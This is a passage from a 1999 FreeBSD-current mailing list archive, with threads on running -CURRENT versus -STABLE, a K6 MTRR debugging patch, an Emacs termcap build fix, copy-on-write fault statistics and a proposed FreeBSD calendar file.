http://docs.FreeBSD.ORG/mail/archive/1999/freebsd-current/. Read > ALL the messages. Actually, reading just the UPDATING file has all the info... I was just worried that compiling a kernel and rebooting may not boot successfully before the make world build. > Oh, and update your -CURRENT. A -CURRENT machine with sources from March 1999 > indicates you're not running a machine in sync with the purpose of -CURRENT. > Use -STABLE instead. Well, I try to stay up to date but there are times when I am busy so things do get behind... I've ran -current since 1993. There is no real reason to use -STABLE. Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 11:38: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: from mta1.rcsntx.swbell.net (mta1.rcsntx.swbell.net [151.164.30.25]) by hub.freebsd.org (Postfix) with ESMTP id 3B07B15131 for ; Sat, 30 Oct 1999 11:37:59 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org ([216.62.157.60]) by mta1.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with ESMTP id <0FKF007C4IFA53@mta1.rcsntx.swbell.net> for FreeBSD-current@FreeBSD.ORG; Sat, 30 Oct 1999 13:37:58 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id NAA06608; Sat, 30 Oct 1999 13:38:52 -0500 (CDT envelope-from chris) X-URL: http://www.FreeBSD.org/~chris/ Date: Sat, 30 Oct 1999 13:38:51 -0500 From: Chris Costello Subject: Re: -current build fails In-reply-to: To: Vincent Poy Cc: Will Andrews , FreeBSD-current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <19991030133851.I535@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i X-Operating-System: FreeBSD 4.0-CURRENT (i386) References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Oct 30, 1999, Vincent Poy wrote: > Well, I try to stay up to date but there are times when I am busy > so things do get behind... I've ran -current since 1993. There is no > real reason to use -STABLE. Give me one single reason why there is on real reason to use -STABLE and I'll give you 10 reasons to use -STABLE. -- |Chris Costello |Performance is easier to add than clarity. `------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 11:38:29 1999 Delivered-To: freebsd-current@freebsd.org Received: from green.myip.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 480AE1511C for ; Sat, 30 Oct 1999 11:37:51 -0700 (PDT) (envelope-from green@FreeBSD.org) Received: from localhost ([127.0.0.1] ident=green) by green.myip.org with esmtp (Exim 3.02 #1) id 11hdMu-000Obw-00; Sat, 30 Oct 1999 14:36:49 -0400 Date: Sat, 30 Oct 1999 14:36:48 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.myip.org To: Andrew Atrens Cc: current@freebsd.org Subject: Re: K6-III wrtalloc + mtrr support ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1484207744-941308498=:94474" Content-ID: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1484207744-941308498=:94474 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: On Sat, 30 Oct 1999, Andrew Atrens wrote: > > On Fri, 29 Oct 1999, Brian Fundakowski Feldman wrote: > > > > I disabled (or asked Peter to, actually) the K6-2+ MTRR driver a while > > back because with XFree86 3.9.16 (an alpha which uses MTRR support) it > > would cause memory corruption. It's very strange, and something I > > really haven't figured out... If you want to enable it, go ahead, but > > be very wary; if you do find out what's wrong, let me know. > > I remember this now, I was one of those that got bit by this problem. What > I recall is that MTRR support made a dramatic speed improvement, but alas > was _extremely_ unstable. That was when I had an ATI Expert@Work card. > Since then I've gotten a 3dfx Voodoo3, perhaps this card might be more > stable? So Brian, how do I switch this back on ? If you REALLY want to do this, which I wouldn't recommend since it caused instability on my TNT too... But if you do, please apply the included patch and give me the output it has generated. This is my last resort in checking if I possibly did something wrong :( Uncomment this line in src/sys/i386/conf/files.i386: # i386/i386/k6_mem.c standard and reconfig/rebuild your kernel. > > On the other topic - write allocation - should I be seeing an indication > of its status in the boot up messages ? Hmm, I guess I could just UTSL on > this one :) ... No, write allocation status is only printed on boot -v. You could also drop to ddb and type call print_AMD_info() to see if it's really on. > > Andrew. > > -- > +-- > | Andrew Atrens Nortel Networks, Ottawa, Canada. | > | All opinions expressed are my own, not those of any employer. | > --+ > Heller's Law: The first myth of management is that it exists. > Johnson's Corollary: Nobody really knows what is going on > anywhere within the organization. > -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' --0-1484207744-941308498=:94474 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="k6_mem_debugging.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="k6_mem_debugging.patch" SW5kZXg6IGs2X21lbS5jDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1Mg ZmlsZTogL3VzcjIvbmN2cy9zcmMvc3lzL2kzODYvaTM4Ni9rNl9tZW0uYyx2 DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNA0KZGlmZiAtdSAtcjEuNCBrNl9t ZW0uYw0KLS0tIGs2X21lbS5jCTE5OTkvMDkvMDUgMTU6NDU6NTcJMS40DQor KysgazZfbWVtLmMJMTk5OS8xMC8zMCAxODozMTo0NQ0KQEAgLTY2LDcgKzY2 LDggQEANCiAjZGVmaW5lIGs2X3JlZ19tYWtlKGFkZHIsIG1hc2ssIHdjLCB1 YykgCQkJCVwNCiAJCSgoYWRkcikgfCAoKG1hc2spIDw8IDIpIHwgKCh3Yykg PDwgMSkgfCB1YykNCiANCi1zdGF0aWMgdm9pZCBrNl9tcmluaXQoc3RydWN0 IG1lbV9yYW5nZV9zb2Z0YyAqc2MpOw0KK3N0YXRpYyBjaGFyICpiaXRwcmlu dF80KHVfaW50MzJfdCwgY2hhciBbMzNdKTsNCitzdGF0aWMgdm9pZCBrNl9t cmluaXQoc3RydWN0IG1lbV9yYW5nZV9zb2Z0YyAqKTsNCiBzdGF0aWMgaW50 IGs2X21yc2V0KHN0cnVjdCBtZW1fcmFuZ2Vfc29mdGMgKiwgc3RydWN0IG1l bV9yYW5nZV9kZXNjICosIGludCAqKTsNCiBzdGF0aWMgX19pbmxpbmUgaW50 IGs2X21ybWFrZShzdHJ1Y3QgbWVtX3JhbmdlX2Rlc2MgKiwgdV9pbnQzMl90 ICopOw0KIHN0YXRpYyB2b2lkIGs2X21lbV9kcnZpbml0KHZvaWQgKik7DQpA QCAtNzcsOSArNzgsMjIgQEANCiAJTlVMTA0KIH07DQogDQorc3RhdGljIGNo YXIgKg0KK2JpdHByaW50XzQodV9pbnQzMl90IGksIGNoYXIgcmVzWzMzXSkg ew0KKyAgICAgICAgcmVnaXN0ZXIgaW50IGNvdW50Ow0KKw0KKyAgICAgICAg Zm9yIChjb3VudCA9IDA7IGNvdW50IDwgMzI7IGNvdW50KyspDQorICAgICAg ICAgICAgICAgIHJlc1szMSAtIGNvdW50XSA9IChpICYgKDEgPDwgY291bnQp KSA/ICcxJyA6ICcwJzsNCisgICAgICAgIHJlc1szMl0gPSAnXDAnOw0KKyAg ICAgICAgcmV0dXJuIHJlczsNCit9DQorDQogc3RhdGljIF9faW5saW5lIGlu dA0KIGs2X21ybWFrZShzdHJ1Y3QgbWVtX3JhbmdlX2Rlc2MgKmRlc2MsIHVf aW50MzJfdCAqbXRycikgew0KIAl1X2ludDMyX3QgbGVuID0gMCwgd2MsIHVj Ow0KKyNpZm5kZWYgSzZfTVRSUl9TSUxFTlQNCisJY2hhciBidWZbMzNdOw0K KyNlbmRpZg0KIAlyZWdpc3RlciBpbnQgYml0Ow0KIA0KIAlpZiAoZGVzYy0+ bXJfYmFzZSAmfiAweGZmZmUwMDAwKQ0KQEAgLTk1LDYgKzEwOSwxMSBAQA0K IAl1YyA9IChkZXNjLT5tcl9mbGFncyAmIE1ERl9VTkNBQ0hFQUJMRSkgPyAx IDogMDsNCiANCiAJKm10cnIgPSBrNl9yZWdfbWFrZShkZXNjLT5tcl9iYXNl LCBsZW4sIHdjLCB1Yyk7DQorI2lmbmRlZiBLNl9NVFJSX1NJTEVOVA0KKwlw cmludGYoIms2X21ybWFrZTogYmFzZSA9ICVwLCBsZW4gPSAlI3gsIGZsYWdz ID0gJSN4XG5rNl9tcm1ha2U6ICVzXG4iLA0KKwkgICAgZGVzYy0+bXJfYmFz ZSwgZGVzYy0+bXJfbGVuLCBkZXNjLT5tcl9mbGFncywNCisJICAgIGJpdHBy aW50XzQoKm10cnIsIGJ1ZikpOw0KKyNlbmRpZg0KIAlyZXR1cm4gMDsNCiB9 DQogDQo= --0-1484207744-941308498=:94474-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 12:36: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.zuhause.org (c2-178.xtlab.com [205.215.217.178]) by hub.freebsd.org (Postfix) with ESMTP id 4F43114A26 for ; Sat, 30 Oct 1999 12:35:57 -0700 (PDT) (envelope-from bruce@zuhause.mn.org) Received: by mail.zuhause.org (Postfix, from userid 1001) id 32F477C32; Sat, 30 Oct 1999 14:35:56 -0500 (CDT) From: Bruce Albrecht MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14363.18588.45487.54695@celery.zuhause.org> Date: Sat, 30 Oct 1999 14:35:56 -0500 (CDT) To: chris@calldei.com Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: <19991030133851.I535@holly.calldei.com> References: <19991030133851.I535@holly.calldei.com> X-Mailer: VM 6.72 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris Costello writes: > On Sat, Oct 30, 1999, Vincent Poy wrote: > > Well, I try to stay up to date but there are times when I am busy > > so things do get behind... I've ran -current since 1993. There is no > > real reason to use -STABLE. > > Give me one single reason why there is on real reason to use > -STABLE and I'll give you 10 reasons to use -STABLE. Can -STABLE run applications that use shared memory on an SMP kernel? No? I didn't think so. I think a lot of the people who run older versions of -current, and upgrade sporadically, have done so because there are particular things missing out of -STABLE that they need (or want). For various reasons, they're not inclined to install a new version of -current daily, or even weekly, and wait until they feel that -current is relatively stable. Most of them have no interest in doing major OS internals development, but are capable of generating kernel dumps after a panic. They also know that nobody's going to spend a lot of time on any problems they encounter unless they're running a very current -current. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 12:45:32 1999 Delivered-To: freebsd-current@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id E185515144 for ; Sat, 30 Oct 1999 12:45:30 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA79053; Sat, 30 Oct 1999 12:45:18 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Vincent Poy Cc: "Chris D. Faulhaber" , FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-reply-to: Your message of "Sat, 30 Oct 1999 05:16:32 PDT." Date: Sat, 30 Oct 1999 12:45:18 -0700 Message-ID: <79049.941312718@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hmmm, I can understand the build/install portion but will it boot > since one machine is -CURRENT from 3/99 and the other is 3.3-RELEASE. Are you still running current, Vince? I thought we established over a year a go that -current was *not* for you since you don't take the requisite time to read the -current mailing list on a regular basis. Certainly wasting everyone's time here with a "known problem" that you should have already known is not productive and if you intend to keep making a habit of it (it was in response to a similar query from you that we established your unsuitability for -current a year ago, after all) then you'd either better stop running -current or start reading the -current mailing list. The FAQ on this is very clear! - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 12:47:32 1999 Delivered-To: freebsd-current@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id B6B9F15144 for ; Sat, 30 Oct 1999 12:47:30 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA79073; Sat, 30 Oct 1999 12:47:05 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Bruce Albrecht Cc: chris@calldei.com, FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-reply-to: Your message of "Sat, 30 Oct 1999 14:35:56 CDT." <14363.18588.45487.54695@celery.zuhause.org> Date: Sat, 30 Oct 1999 12:47:05 -0700 Message-ID: <79070.941312825@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I think a lot of the people who run older versions of -current, and > upgrade sporadically, have done so because there are particular things > missing out of -STABLE that they need (or want). Which is a fair point, and hopefully we'll be branching 4.0 sooner this time so the wait is not so long. > They also know that nobody's going to spend a lot of time on any > problems they encounter unless they're running a very current > -current. This is another fair point, but it still does not exonerate those same users from reading the -current mailing list on a semi-religious basis. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 13:13:38 1999 Delivered-To: freebsd-current@freebsd.org Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232]) by hub.freebsd.org (Postfix) with ESMTP id 6D2E914C2C for ; Sat, 30 Oct 1999 13:13:34 -0700 (PDT) (envelope-from leif@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.9.3/8.9.3) with SMTP id WAA11491; Sat, 30 Oct 1999 22:13:20 +0200 (CEST) (envelope-from leif@neland.dk) Message-ID: <026b01bf2313$415985c0$0e00a8c0@neland.dk> From: "Leif Neland" To: "Jesper Skriver" Cc: "Alan Cox" , References: <19991029144743.Z16685@cs.rice.edu> <01d501bf22f7$75a55820$0e00a8c0@neland.dk> <19991030201308.A4005@skriver.dk> Subject: Sv: copy-on-write optimized faults Date: Sat, 30 Oct 1999 22:10:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > 2062637 copy-on-write optimized faults <=20 > [cut] >=20 > > I must have something configured wrong, or??? >=20 > No, but you didn't read Allan's original posting, the change only = applied to > -CURRENT, your box is running -STABLE ... >=20 OKOKOKOK! Don't nag me anymore. I forgot, I run current at home and = stable at work.=20 Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 14:34:40 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.rdc2.on.home.com (ha1.rdc2.on.home.com [24.9.0.15]) by hub.freebsd.org (Postfix) with ESMTP id 6E2ED14D59 for ; Sat, 30 Oct 1999 14:34:11 -0700 (PDT) (envelope-from street@iname.com) Received: from mired.eh.local ([24.64.136.188]) by mail.rdc2.on.home.com (InterMail v4.01.01.07 201-229-111-110) with ESMTP id <19991030213410.KPTN3040.mail.rdc2.on.home.com@mired.eh.local>; Sat, 30 Oct 1999 14:34:10 -0700 Received: (from kws@localhost) by mired.eh.local (8.9.3/8.9.3) id RAA27997; Sat, 30 Oct 1999 17:34:10 -0400 (EDT) (envelope-from kws) To: "Peter S. Housel" Cc: Brian Dean , "Russell L. Carter" , freebsd-current@FreeBSD.ORG Subject: Re: emacs / ncurses - problem somewhere References: <199910291929.MAA35072@cx281057-a.irvn1.occa.home.com> From: Kevin Street Date: 30 Oct 1999 16:34:09 -0500 In-Reply-To: "Peter S. Housel"'s message of "Fri, 29 Oct 1999 12:29:05 -0700" Message-ID: <874sf8pm7i.fsf@mired.eh.local> Lines: 49 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Biscayne" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Peter S. Housel" writes: > > Ever since the libtermcap / libncurses consolidation, change emacs has > > problems positioning the cursor and properly updating the screen for > > character-only devices like the console. It also affects the display > > in an xterm in non-X mode, i.e., when DISPLAY is *not* set. > > ... > I filed a bug report for this. I fixed it in Emacs with the following > patch. I think it's a FreeBSD bug, though. Good detective work, Peter. So is the bug in FreeBSD or Emacs? The new man page for tgetstr says: Bugs If you call tgetstr to fetch ca or any other parameterized string, be aware that it will be returned in terminfo notation, not the older and not-quite-compatible termcap notation. This won't cause problems if all you do with it is call tgoto or tparm, which both expand terminfo-style. Emacs tries to expand the string itself rather than by calling tparm and we've surprised it by returning the string in terminfo style rather than termcap style. Here's an alternative patch that forces Emacs to use the library versions of tparm and tgoto to do the decoding rather than rolling its own. Put this in /usr/ports/editors/emacs20/patches/patch-ce (although it really should get merged into patch-ca). It works by using the module intended for Emacs running on terminfo machines (ie. it uses terminfo.c rather than tparam.c). I tried this (briefly) on -current and -stable and it seems to work ok. $ cat /usr/ports/editors/emacs20/patches/patch-ce --- src/Makefile.in.orig Sat Oct 30 15:52:15 1999 +++ src/Makefile.in Sat Oct 30 15:55:28 1999 @@ -546,7 +546,7 @@ #define LIBS_TERMCAP termcapobj = termcap.o tparam.o #else /* LIBS_TERMCAP */ -termcapobj = tparam.o +termcapobj = terminfo.o #endif /* LIBS_TERMCAP */ #endif /* ! defined (TERMINFO) */ -- Kevin Street street@iname.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 14:43:58 1999 Delivered-To: freebsd-current@freebsd.org Received: from venus.GAIANET.NET (venus.GAIANET.NET [207.211.200.51]) by hub.freebsd.org (Postfix) with ESMTP id 3425C14C2F for ; Sat, 30 Oct 1999 14:43:55 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.9.3/8.9.3) with ESMTP id OAA02122; Sat, 30 Oct 1999 14:43:47 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Date: Sat, 30 Oct 1999 14:43:47 -0700 (PDT) From: Vincent Poy To: "Jordan K. Hubbard" Cc: "Chris D. Faulhaber" , FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: <79049.941312718@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Jordan K. Hubbard wrote: > > Hmmm, I can understand the build/install portion but will it boot > > since one machine is -CURRENT from 3/99 and the other is 3.3-RELEASE. > > Are you still running current, Vince? I thought we established over a > year a go that -current was *not* for you since you don't take the > requisite time to read the -current mailing list on a regular basis. Yes, I am still running -current. I read the -current mailing list on a more regular basis than most of the people out there. > Certainly wasting everyone's time here with a "known problem" that you > should have already known is not productive and if you intend to keep > making a habit of it (it was in response to a similar query from you > that we established your unsuitability for -current a year ago, after > all) then you'd either better stop running -current or start reading > the -current mailing list. The FAQ on this is very clear! I have always read the -current mailing list but you have to remember that by the time I do the update, the known problem should already have been gone. I did read the UPDATING file and search the list as soon as I posted and fixed the problem on my own. I was just worried that rebooting with a new kernel before a world build might actually render the system bootless. Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 15: 0:34 1999 Delivered-To: freebsd-current@freebsd.org Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232]) by hub.freebsd.org (Postfix) with ESMTP id 06AFD1519B for ; Sat, 30 Oct 1999 15:00:14 -0700 (PDT) (envelope-from leifn@neland.dk) Received: from localhost (localhost [127.0.0.1]) by arnold.neland.dk (8.9.3/8.9.3) with ESMTP id XAA04360; Sat, 30 Oct 1999 23:59:55 +0200 (CEST) (envelope-from leifn@neland.dk) Date: Sat, 30 Oct 1999 23:59:54 +0200 (CEST) From: Leif Neland To: Vincent Poy Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Vincent Poy wrote: > I was just worried > that rebooting with a new kernel before a world build might actually > render the system bootless. > If you're worried, then just cp /usr/src/sys/compile/NAME/kernel /kernel.new and reboot, using kernel.new If it fails, you haven't disturbed the old, working /kernel. Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 15: 5:24 1999 Delivered-To: freebsd-current@freebsd.org Received: from venus.GAIANET.NET (venus.GAIANET.NET [207.211.200.51]) by hub.freebsd.org (Postfix) with ESMTP id 07E8B15186 for ; Sat, 30 Oct 1999 15:05:20 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.9.3/8.9.3) with ESMTP id PAA02242; Sat, 30 Oct 1999 15:05:13 -0700 (PDT) (envelope-from vince@venus.GAIANET.NET) Date: Sat, 30 Oct 1999 15:05:13 -0700 (PDT) From: Vincent Poy To: Leif Neland Cc: FreeBSD-current@FreeBSD.ORG Subject: Re: -current build fails In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 30 Oct 1999, Leif Neland wrote: > On Sat, 30 Oct 1999, Vincent Poy wrote: > > > I was just worried > > that rebooting with a new kernel before a world build might actually > > render the system bootless. > > > > If you're worried, then just > cp /usr/src/sys/compile/NAME/kernel /kernel.new > and reboot, using kernel.new > > If it fails, you haven't disturbed the old, working /kernel. I guess it's not wise doing things when I'm half asleep or else I wouldn't even have posted the question in the first place... Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 15:44: 1 1999 Delivered-To: freebsd-current@freebsd.org Received: from dialup124.zpr.uni-koeln.de (1-198.K.dial.o-tel-o.net [212.144.1.198]) by hub.freebsd.org (Postfix) with ESMTP id 263EF1519D; Sat, 30 Oct 1999 15:43:49 -0700 (PDT) (envelope-from se@zpr.uni-koeln.de) Received: by dialup124.zpr.uni-koeln.de (Postfix, from userid 200) id 2988AD89; Sun, 31 Oct 1999 00:08:49 +0200 (CEST) Date: Sun, 31 Oct 1999 00:08:49 +0200 From: Stefan Esser To: Reinier Bezuidenhout Cc: freebsd-current@FreeBSD.ORG, Stefan Esser Subject: Re: NOT! KDE 1.1.2 package for current seems broken Message-ID: <19991031000849.B978@dialup124.zpr.uni-koeln.de> Reply-To: se@freebsd.org Mail-Followup-To: Reinier Bezuidenhout , freebsd-current@FreeBSD.ORG References: <199910280930.LAA18471@oskar.dev.nanoteq.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <199910280930.LAA18471@oskar.dev.nanoteq.co.za>; from Reinier Bezuidenhout on Thu, Oct 28, 1999 at 11:30:53AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-10-28 11:30 +0200, Reinier Bezuidenhout wrote: > It seems that the qt-1.42 package of current is different than that > of the 3.3. packages ... I just installed the current version of > qt-1.42 and now kde 1.1.2 is working fine ... Well, KDE and Qt are written in C++, and with C++ the times of compatibility between object files compiled by different compilers (or even releases of the same compiler) is gone ... There is no "official" algorithm for name mangling. The compilers in -stable and -current are different, and that means you better recompile all C++ libraries left over from -stable (and do not even try to install Qt libraries for -stable) on -current, but you already know that ;-) Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 16:43: 2 1999 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 608) id 23827151B2; Sat, 30 Oct 1999 16:43:01 -0700 (PDT) From: "Jonathan M. Bresler" To: alc@cs.rice.edu Cc: ticso@cicely.de, current@freebsd.org In-reply-to: <19991029195243.E28768@cs.rice.edu> (message from Alan Cox on Fri, 29 Oct 1999 19:52:43 -0500) Subject: Re: copy-on-write optimized faults Message-Id: <19991030234301.23827151B2@hub.freebsd.org> Date: Sat, 30 Oct 1999 16:43:01 -0700 (PDT) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i gets lots of "copy-on-write optimized faults". bu tthis may be a corner case. just rebooted my box. its used for ppp with nat aliasing and is in the middle of a cvsup follwed by 'cvs update -PAd'. the box is fairly weak....40MB in a AMD 5x86-133MHz. Aspen:[208] uptime 7:39PM up 29 mins, 1 user, load averages: 0.24, 0.32, 0.31 Aspen:[209] uname -a FreeBSD Aspen.Bresler.ORG 3.0-CURRENT FreeBSD 3.0-CURRENT #3: Sun Jan 17 08:06:24 EST 1999 jmb@Aspen.USi.NET:/usr/src/sys/compile/ASPEN i386 Aspen:[210] vmstat -s 111374 cpu context switches 612451 device interrupts 85189 software interrupts 81251 traps 758392 system calls 16 swap pager pageins 16 swap pager pages paged in 5 swap pager pageouts 5 swap pager pages paged out 1181 vnode pager pageins 6014 vnode pager pages paged in 1 vnode pager pageouts 1 vnode pager pages paged out 115 page daemon wakeups 83486 pages examined by the page daemon 22 pages reactivated 8410 copy-on-write faults 1264 copy-on-write optimized faults 6715 zero fill pages zeroed 929 zero fill pages prezeroed 17 intransit blocking page faults 52423 total VM faults taken 40739 pages freed 114 pages freed by daemon 615 pages freed by exiting processes 4131 pages active 1967 pages inactive 796 pages in VM cache 2477 pages wired down 125 pages free 4096 bytes per page 1162355 total name lookups cache hits (84% pos + 0% neg) system 2% per-directory deletions 0%, falsehits 0%, toolong 0% Aspen:[211] jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 17:11:58 1999 Delivered-To: freebsd-current@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id B63DB151B7 for ; Sat, 30 Oct 1999 17:11:08 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id BAA74281 for ; Sun, 31 Oct 1999 01:01:21 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id AAA09150 for current@freebsd.org; Sun, 31 Oct 1999 00:33:56 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Sun, 31 Oct 1999 00:33:56 +0100 From: Nik Clayton To: current@freebsd.org Subject: /usr/share/calendar/calendar.freebsd ? Message-ID: <19991031003356.A8154@kilt.nothing-going-on.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Organization: FreeBSD Project Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Folks, Is there any interest in a /usr/share/calendar/calendar.freebsd file (which would actually be in the CVS tree in src/usr.bin/calendar/calendars). Milestones in FreeBSD development (50 committers, 100 committers, the first 1000 ports), dates of releases, committer birthdays, that sort of thing. If so, I can start collating possible entries. . . N To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Oct 30 17:36:28 1999 Delivered-To: freebsd-current@freebsd.org Received: by 